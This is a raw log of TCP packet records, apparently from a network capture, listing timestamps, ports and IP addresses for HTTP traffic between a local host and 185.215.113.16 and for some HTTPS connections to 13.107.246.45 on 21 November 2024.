Nov 21, 2024 00:03:24.863023043 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.863065958 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.863102913 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.863147974 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.863154888 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.863199949 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.864008904 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.864051104 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.864068031 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.864116907 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.864130974 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.864180088 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.864990950 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.865041018 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.865053892 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.865092993 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.865204096 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.865252018 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.865976095 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.866008043 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.866053104 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.866060972 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.866075993 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.866982937 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.867012978 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.867041111 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.867041111 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.867057085 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.867069960 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.867098093 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.867924929 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.867965937 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.867980957 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.868016958 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.868037939 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.868079901 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.868896008 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.868937969 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.868952036 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.868999004 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.869021893 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.869075060 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.869887114 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.869926929 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.869944096 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.869972944 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.870135069 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.870182991 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.870836973 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.870908976 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.870924950 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.870944977 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.870970964 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.870997906 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.871833086 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.871855974 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.871870041 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.871925116 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.872006893 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.872049093 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.872788906 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.872829914 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.872843027 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.872889996 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.872915983 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.872962952 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.873756886 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.873826027 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.873838902 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.873883963 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.873950958 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.873999119 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.874794006 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.874857903 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.874871016 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.874883890 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.874918938 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.874953985 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.875762939 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.875790119 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.875808954 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.875825882 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.875854015 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.875881910 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.876693010 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.876765013 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.876775980 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.876787901 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.876822948 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.876835108 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.877676010 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.877724886 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.877753973 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.877806902 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.877857924 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.877898932 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:24.878639936 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.878664970 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.878675938 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:24.878724098 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.045792103 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.045823097 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.045838118 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.045922995 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.046061039 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.046103954 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.046118975 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.046144009 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.046168089 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.046231031 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.047039986 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.047081947 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.047086000 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.047095060 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.047142029 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.048042059 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.048055887 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.048069000 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.048082113 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.048110962 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.048146963 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.048731089 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.049062014 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.049108982 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.049120903 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.049170971 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.049226999 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.050003052 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.050045013 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.050050974 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.050064087 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.050127983 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.050184965 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.051028967 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.051068068 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.051079035 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.051119089 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.051131010 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.051162958 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.051964998 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.051980019 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.051992893 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.052043915 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.052071095 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.052081108 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.052934885 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.052980900 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.052992105 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.052998066 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.053029060 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.053908110 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.053920031 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.053932905 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.053944111 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.053972006 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.053992987 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.054855108 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.054887056 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.054899931 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.054936886 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.054958105 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.054965019 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.055921078 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.055965900 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.055986881 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.055999041 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.056010962 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.056041956 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.057023048 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.057076931 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.057100058 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.057112932 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.057147980 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.057157040 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.057857037 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.057868958 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.057884932 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.057899952 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.057921886 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.057967901 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.058785915 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.058850050 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.058901072 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.058929920 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.058945894 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.058985949 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.059854031 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.059875965 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.059887886 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.059895992 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.059925079 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.060125113 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.060720921 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.060811043 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.060826063 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.060841084 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.060856104 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.060884953 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.061793089 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.061805010 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.061817884 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.061831951 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.061841965 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.061855078 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.062664032 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.062684059 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.062696934 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.062709093 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.062727928 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.062755108 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.063618898 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.063687086 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.063699961 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.063724041 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.063729048 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.063747883 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.064611912 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.064635038 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.064646959 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.064660072 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.064681053 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.064702988 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.065632105 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.065644026 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.065658092 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.065680027 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.065706968 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.065716028 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.066600084 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.066613913 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.066637993 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.066653013 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.066659927 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.066683054 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.067595959 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.067609072 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.067622900 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.067636967 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.067652941 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.067670107 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.068809986 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.068839073 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.068850994 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.068885088 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.068901062 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.068906069 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.069510937 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.069535017 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.069546938 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.069559097 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.069559097 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.069586039 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.070502043 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.070545912 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.070574999 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.070588112 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.070647955 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.070683002 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.209357977 CET	443	49766	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.209449053 CET	443	49766	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.209516048 CET	49766	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.210145950 CET	49766	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.210170031 CET	443	49766	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.210186005 CET	49766	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.210192919 CET	443	49766	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.212734938 CET	443	49767	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.212919950 CET	443	49767	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.212995052 CET	49767	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.215048075 CET	49767	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.215048075 CET	49767	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.215090036 CET	443	49767	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.215116024 CET	443	49767	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.219786882 CET	49771	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.219825029 CET	443	49771	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.219888926 CET	49771	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.223591089 CET	49771	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.223604918 CET	443	49771	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.234240055 CET	49772	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.234289885 CET	443	49772	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.235202074 CET	49772	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.235743999 CET	49772	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:25.235761881 CET	443	49772	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:25.237983942 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.238065004 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.238092899 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.238112926 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.238322973 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.238367081 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.238543987 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.238557100 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.238568068 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.238596916 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.239278078 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.239289999 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.239300013 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.239320040 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.239334106 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.239351034 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.240041018 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.240052938 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.240062952 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.240080118 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.240097046 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.240113020 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.241060972 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.241075039 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.241086006 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.241097927 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.241123915 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.241147995 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.241921902 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.241964102 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.241976023 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.241988897 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.242012024 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.242023945 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.242887974 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.242923021 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.242938995 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.242947102 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.242974997 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.242996931 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.243978977 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.243993044 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.244023085 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.244038105 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.244051933 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.244071007 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.244848967 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.244891882 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.244905949 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.244941950 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.244992018 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.245841026 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.245918989 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.245929003 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.245946884 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.245965958 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:25.246016979 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:25.246757984 CET	80	49760	185.215.113.16	192.168.2.7
